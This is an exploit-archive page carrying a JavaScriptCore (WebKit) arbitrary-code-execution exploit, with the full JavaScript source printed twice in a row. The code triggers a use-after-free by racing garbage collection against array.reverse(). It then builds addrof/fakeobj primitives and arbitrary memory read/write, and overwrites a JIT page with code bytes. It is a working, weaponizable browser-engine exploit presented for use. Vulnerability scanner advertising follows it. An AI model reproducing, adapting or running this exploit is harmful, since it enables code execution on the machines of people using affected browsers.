javascript core arbitrary code execution

▸▸▸ Exploit & Vulnerability >>   local exploit & multiple vulnerability




javascript core arbitrary code execution Code Code...
				
// Load Int library, thanks saelo! load('util.js'); load('int64.js'); // Helpers to convert from float to in a few random places var conva = new ArrayBuffer(8); var convf = new Float64Array(conva); var convi = new Uint32Array(conva); var convi8 = new Uint8Array(conva); var floatarr_magic = new Int64('0x3131313131313131').asDouble(); var floatarr_magic = new Int64('0x3131313131313131').asDouble(); var jsval_magic = new Int64('0x3232323232323232').asDouble(); var structs = []; function log(x) { print(x); } // Look OOB for array we can use with JSValues function findArrayOOB(corrupted_arr, groom) { log("Looking for JSValue array with OOB Float array"); for (let i = 0; i<corrupted_arr.length; i++) { convf[0] = corrupted_arr[i]; // Find the magic value we stored in the JSValue Array if (convi[0] == 0x10) { convf[0] = corrupted_arr[i+1]; if (convi[0] != 0x32323232) continue; // Change the first element of the array corrupted_arr[i+1] = new Int64('0x3131313131313131').asDouble(); let target = null; // Find which array we modified for (let j = 0; j<groom.length; j++) { if (groom[j][0] != jsval_magic) { target = groom[j]; break } } log("Found target array for addrof/fakeobj"); // This object will hold our primitives let prims = {}; let oob_ind = i+1; // Get the address of a given jsobject prims.addrof = function(x) { // To do this we put the object in the jsvalue array and // access it OOB with our float array target[0] = x; return Int64.fromDouble(corrupted_arr[oob_ind]); } // Return a jsobject at a given address prims.fakeobj = function(addr) { // To do this we overwrite the first slot of the jsvalue array // with the OOB float array corrupted_arr[oob_ind] = addr.asDouble(); return target[0]; } return prims; } } } // Here we will spray structure IDs for Float64Arrays // See http://www.phrack.org/papers/attacking_javascript_engines.html function sprayStructures() { function randomString() { return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5); } // Spray arrays for structure id for (let i = 0; i < 0x1000; i++) { let a = new Float64Array(1); // Add a new property to create a new Structure instance. a[randomString()] = 1337; structs.push(a); } } // Here we will create our fake typed array and get arbitrary read/write // See http://www.phrack.org/papers/attacking_javascript_engines.html function getArb(prims) { sprayStructures() let utarget = new Uint8Array(0x10000); utarget[0] = 0x41; // Our fake array // Structure id guess is 0x200 // [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)] let jscell = new Int64('0x0118270000000200'); // Construct the object // Each attribute will set 8 bytes of the fake object inline obj = { 'a': jscell.asDouble(), // Butterfly can be anything 'b': false, // Target we want to write to 'c': utarget, // Length and flags 'd': new Int64('0x0001000000000010').asDouble() }; // Get the address of the values we stored in obj let objAddr = prims.addrof(obj).add(16); log("Obj addr + 16 = "+objAddr); // Create a fake object from this pointer let fakearray = prims.fakeobj(objAddr); // Attempt to find a valid ID for our fake object while(!(fakearray instanceof Float64Array)) { jscell.add(1); obj['a'] = jscell.asDouble(); } log("Matched structure id!"); // Set data at a given address prims.set = function(addr, arr) { fakearray[2] = addr.asDouble(); utarget.set(arr); } // Read 8 bytes as an Int64 at a given address prims.read64 = function(addr) { fakearray[2] = addr.asDouble(); let bytes = Array(8); for (let i=0; i<8; i++) { bytes[i] = utarget[i]; } return new Int64(bytes); } // Write an Int64 as 8 bytes at a given address prims.write64 = function(addr, value) { fakearray[2] = addr.asDouble(); utarget.set(value.bytes); } } // Here we will use build primitives to eventually overwrite the JIT page function exploit(corrupted_arr, groom) { save.push(groom); save.push(corrupted_arr); // Create fakeobj and addrof primitives let prims = findArrayOOB(corrupted_arr, groom); // Upgrade to arb read/write from OOB read/write getArb(prims); // Build an arbitrary JIT function // This was basically just random junk to make the JIT function larger let jit = function(x) { var j = []; j[0] = 0x6323634; return x*5 + x - x*x /0x2342513426 +(x - x+0x85720642 *(x +3 -x / x+0x41424344)/0x41424344)+j[0]; }; // Make sure the JIT function has been compiled jit(); jit(); jit(); // Traverse the JSFunction object to retrieve a non-poisoned pointer log("Finding jitpage"); let jitaddr = prims.read64( prims.read64( prims.read64( prims.read64( prims.addrof(jit).add(3*8) ).add(3*8) ).add(3*8) ).add(5*8) ); log("Jit page addr = "+jitaddr); // Overwrite the JIT code with our INT3s log("Writting shellcode over jit page"); prims.set(jitaddr.add(32), [0xcc, 0xcc, 0xcc, 0xcc]); // Call the JIT function, triggering our INT3s log("Calling jit function"); jit(); throw("JIT returned"); } // Find and set the length of a non-freed butterfly with our unstable OOB primitive function setLen(uaf_arr, ind) { let f=0; for (let i=0; i<uaf_arr.length; i++) { convf[0] = uaf_arr[i]; // Look for a new float array, and set the length if (convi[0] == 0x10) { convf[0] = uaf_arr[i+1]; if (convi[0] == 0x32323232 && convi[1] == 0x32323232) { convi[0] = 0x42424242; convi[1] = 0x42424242; uaf_arr[i] = convf[0]; return; } } } throw("Could not find anouther array to corrupt"); } let oob_rw_unstable = null; let oob_rw_unstable_ind = null; let oob_rw_stable = null; // After this point we would stop seeing GCs happen enough to race :( const limit = 10; const butterfly_size = 32 let save = [0, 0] for(let at = 0; at < limit; at++) { log("Trying to race GC and array.reverse() Attempt #"+(at+1)); // Allocate the initial victim and target arrays let victim_arrays = new Array(2048); let groom = new Array(2048); for (let i=0; i<victim_arrays.length; i++) { victim_arrays[i] = new Array(butterfly_size).fill(floatarr_magic) groom[i] = new Array(butterfly_size/2).fill(jsval_magic) } let vv = []; let v = [] // Allocate large strings to trigger the GC while calling reverse for (let i = 0; i < 506; i++) { for(let j = 0; j < 0x100; j++) { // Cause GCs to trigger while we are racing with reverse if (j == 0x44) { v.push(new String("B").repeat(0x10000*save.length/2)) } victim_arrays.reverse() } } for (let i = 0; i < victim_arrays.length; i++) { // Once we see we have replaced a free'd butterfly // fill the replacing array with 0x41414141... to smash rest // of UAF'ed butterflies // We know the size will be 506, because it will have been replaced with v // we were pushing into in the loop above if(victim_arrays[i].length == 506) { victim_arrays[i].fill(2261634.5098039214) } // Find the first butterfly we have smashed // this will be an unstable OOB r/w if(victim_arrays[i].length == 0x41414141) { oob_rw_unstable = victim_arrays[i]; oob_rw_unstable_ind = i; break; } } // If we successfully found a smashed and still freed butterfly // use it to corrupt a non-freed butterfly for stability if(oob_rw_unstable) { setLen(oob_rw_unstable, oob_rw_unstable_ind) for (let i = 0; i < groom.length; i++) { // Find which array we just corrupted if(groom[i].length == 0x42424242) { oob_rw_stable = groom[i]; break; } } if (!oob_rw_stable) { throw("Groom seems to have failed :("); } } // chew CPU to avoid a segfault and help with gc schedule for (let i = 0; i < 0x100000; i++) { } // Attempt to clean up some let f = [] for (let i = 0; i < 0x2000; i++) { f.push(new Array(16).fill(2261634.6098039214)) } save.push(victim_arrays) save.push(v) save.push(f) save.push(groom) if (oob_rw_stable) { log("Found stable corrupted butterfly! Now the fun begins..."); exploit(oob_rw_stable, groom); break; } } throw("Failed to find any UAF'ed butterflies"); // Load Int library, thanks saelo! load('util.js'); load('int64.js'); // Helpers to convert from float to in a few random places var conva = new ArrayBuffer(8); var convf = new Float64Array(conva); var convi = new Uint32Array(conva); var convi8 = new Uint8Array(conva); var floatarr_magic = new Int64('0x3131313131313131').asDouble(); var floatarr_magic = new Int64('0x3131313131313131').asDouble(); var jsval_magic = new Int64('0x3232323232323232').asDouble(); var structs = []; function log(x) { print(x); } // Look OOB for array we can use with JSValues function findArrayOOB(corrupted_arr, groom) { log("Looking for JSValue array with OOB Float array"); for (let i = 0; i<corrupted_arr.length; i++) { convf[0] = corrupted_arr[i]; // Find the magic value we stored in the JSValue Array if (convi[0] == 0x10) { convf[0] = corrupted_arr[i+1]; if (convi[0] != 0x32323232) continue; // Change the first element of the array corrupted_arr[i+1] = new Int64('0x3131313131313131').asDouble(); let target = null; // Find which array we modified for (let j = 0; j<groom.length; j++) { if (groom[j][0] != jsval_magic) { target = groom[j]; break } } log("Found target array for addrof/fakeobj"); // This object will hold our primitives let prims = {}; let oob_ind = i+1; // Get the address of a given jsobject prims.addrof = function(x) { // To do this we put the object in the jsvalue array and // access it OOB with our float array target[0] = x; return Int64.fromDouble(corrupted_arr[oob_ind]); } // Return a jsobject at a given address prims.fakeobj = function(addr) { // To do this we overwrite the first slot of the jsvalue array // with the OOB float array corrupted_arr[oob_ind] = addr.asDouble(); return target[0]; } return prims; } } } // Here we will spray structure IDs for Float64Arrays // See http://www.phrack.org/papers/attacking_javascript_engines.html function sprayStructures() { function randomString() { return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5); } // Spray arrays for structure id for (let i = 0; i < 0x1000; i++) { let a = new Float64Array(1); // Add a new property to create a new Structure instance. a[randomString()] = 1337; structs.push(a); } } // Here we will create our fake typed array and get arbitrary read/write // See http://www.phrack.org/papers/attacking_javascript_engines.html function getArb(prims) { sprayStructures() let utarget = new Uint8Array(0x10000); utarget[0] = 0x41; // Our fake array // Structure id guess is 0x200 // [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)] let jscell = new Int64('0x0118270000000200'); // Construct the object // Each attribute will set 8 bytes of the fake object inline obj = { 'a': jscell.asDouble(), // Butterfly can be anything 'b': false, // Target we want to write to 'c': utarget, // Length and flags 'd': new Int64('0x0001000000000010').asDouble() }; // Get the address of the values we stored in obj let objAddr = prims.addrof(obj).add(16); log("Obj addr + 16 = "+objAddr); // Create a fake object from this pointer let fakearray = prims.fakeobj(objAddr); // Attempt to find a valid ID for our fake object while(!(fakearray instanceof Float64Array)) { jscell.add(1); obj['a'] = jscell.asDouble(); } log("Matched structure id!"); // Set data at a given address prims.set = function(addr, arr) { fakearray[2] = addr.asDouble(); utarget.set(arr); } // Read 8 bytes as an Int64 at a given address prims.read64 = function(addr) { fakearray[2] = addr.asDouble(); let bytes = Array(8); for (let i=0; i<8; i++) { bytes[i] = utarget[i]; } return new Int64(bytes); } // Write an Int64 as 8 bytes at a given address prims.write64 = function(addr, value) { fakearray[2] = addr.asDouble(); utarget.set(value.bytes); } } // Here we will use build primitives to eventually overwrite the JIT page function exploit(corrupted_arr, groom) { save.push(groom); save.push(corrupted_arr); // Create fakeobj and addrof primitives let prims = findArrayOOB(corrupted_arr, groom); // Upgrade to arb read/write from OOB read/write getArb(prims); // Build an arbitrary JIT function // This was basically just random junk to make the JIT function larger let jit = function(x) { var j = []; j[0] = 0x6323634; return x*5 + x - x*x /0x2342513426 +(x - x+0x85720642 *(x +3 -x / x+0x41424344)/0x41424344)+j[0]; }; // Make sure the JIT function has been compiled jit(); jit(); jit(); // Traverse the JSFunction object to retrieve a non-poisoned pointer log("Finding jitpage"); let jitaddr = prims.read64( prims.read64( prims.read64( prims.read64( prims.addrof(jit).add(3*8) ).add(3*8) ).add(3*8) ).add(5*8) ); log("Jit page addr = "+jitaddr); // Overwrite the JIT code with our INT3s log("Writting shellcode over jit page"); prims.set(jitaddr.add(32), [0xcc, 0xcc, 0xcc, 0xcc]); // Call the JIT function, triggering our INT3s log("Calling jit function"); jit(); throw("JIT returned"); } // Find and set the length of a non-freed butterfly with our unstable OOB primitive function setLen(uaf_arr, ind) { let f=0; for (let i=0; i<uaf_arr.length; i++) { convf[0] = uaf_arr[i]; // Look for a new float array, and set the length if (convi[0] == 0x10) { convf[0] = uaf_arr[i+1]; if (convi[0] == 0x32323232 && convi[1] == 0x32323232) { convi[0] = 0x42424242; convi[1] = 0x42424242; uaf_arr[i] = convf[0]; return; } } } throw("Could not find anouther array to corrupt"); } let oob_rw_unstable = null; let oob_rw_unstable_ind = null; let oob_rw_stable = null; // After this point we would stop seeing GCs happen enough to race :( const limit = 10; const butterfly_size = 32 let save = [0, 0] for(let at = 0; at < limit; at++) { log("Trying to race GC and array.reverse() Attempt #"+(at+1)); // Allocate the initial victim and target arrays let victim_arrays = new Array(2048); let groom = new Array(2048); for (let i=0; i<victim_arrays.length; i++) { victim_arrays[i] = new Array(butterfly_size).fill(floatarr_magic) groom[i] = new Array(butterfly_size/2).fill(jsval_magic) } let vv = []; let v = [] // Allocate large strings to trigger the GC while calling reverse for (let i = 0; i < 506; i++) { for(let j = 0; j < 0x100; j++) { // Cause GCs to trigger while we are racing with reverse if (j == 0x44) { v.push(new String("B").repeat(0x10000*save.length/2)) } victim_arrays.reverse() } } for (let i = 0; i < victim_arrays.length; i++) { // Once we see we have replaced a free'd butterfly // fill the replacing array with 0x41414141... to smash rest // of UAF'ed butterflies // We know the size will be 506, because it will have been replaced with v // we were pushing into in the loop above if(victim_arrays[i].length == 506) { victim_arrays[i].fill(2261634.5098039214) } // Find the first butterfly we have smashed // this will be an unstable OOB r/w if(victim_arrays[i].length == 0x41414141) { oob_rw_unstable = victim_arrays[i]; oob_rw_unstable_ind = i; break; } } // If we successfully found a smashed and still freed butterfly // use it to corrupt a non-freed butterfly for stability if(oob_rw_unstable) { setLen(oob_rw_unstable, oob_rw_unstable_ind) for (let i = 0; i < groom.length; i++) { // Find which array we just corrupted if(groom[i].length == 0x42424242) { oob_rw_stable = groom[i]; break; } } if (!oob_rw_stable) { throw("Groom seems to have failed :("); } } // chew CPU to avoid a segfault and help with gc schedule for (let i = 0; i < 0x100000; i++) { } // Attempt to clean up some let f = [] for (let i = 0; i < 0x2000; i++) { f.push(new Array(16).fill(2261634.6098039214)) } save.push(victim_arrays) save.push(v) save.push(f) save.push(groom) if (oob_rw_stable) { log("Found stable corrupted butterfly! Now the fun begins..."); exploit(oob_rw_stable, groom); break; } } throw("Failed to find any UAF'ed butterflies");

Javascript core arbitrary code execution Vulnerability / Exploit Source : Javascript core arbitrary code execution



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.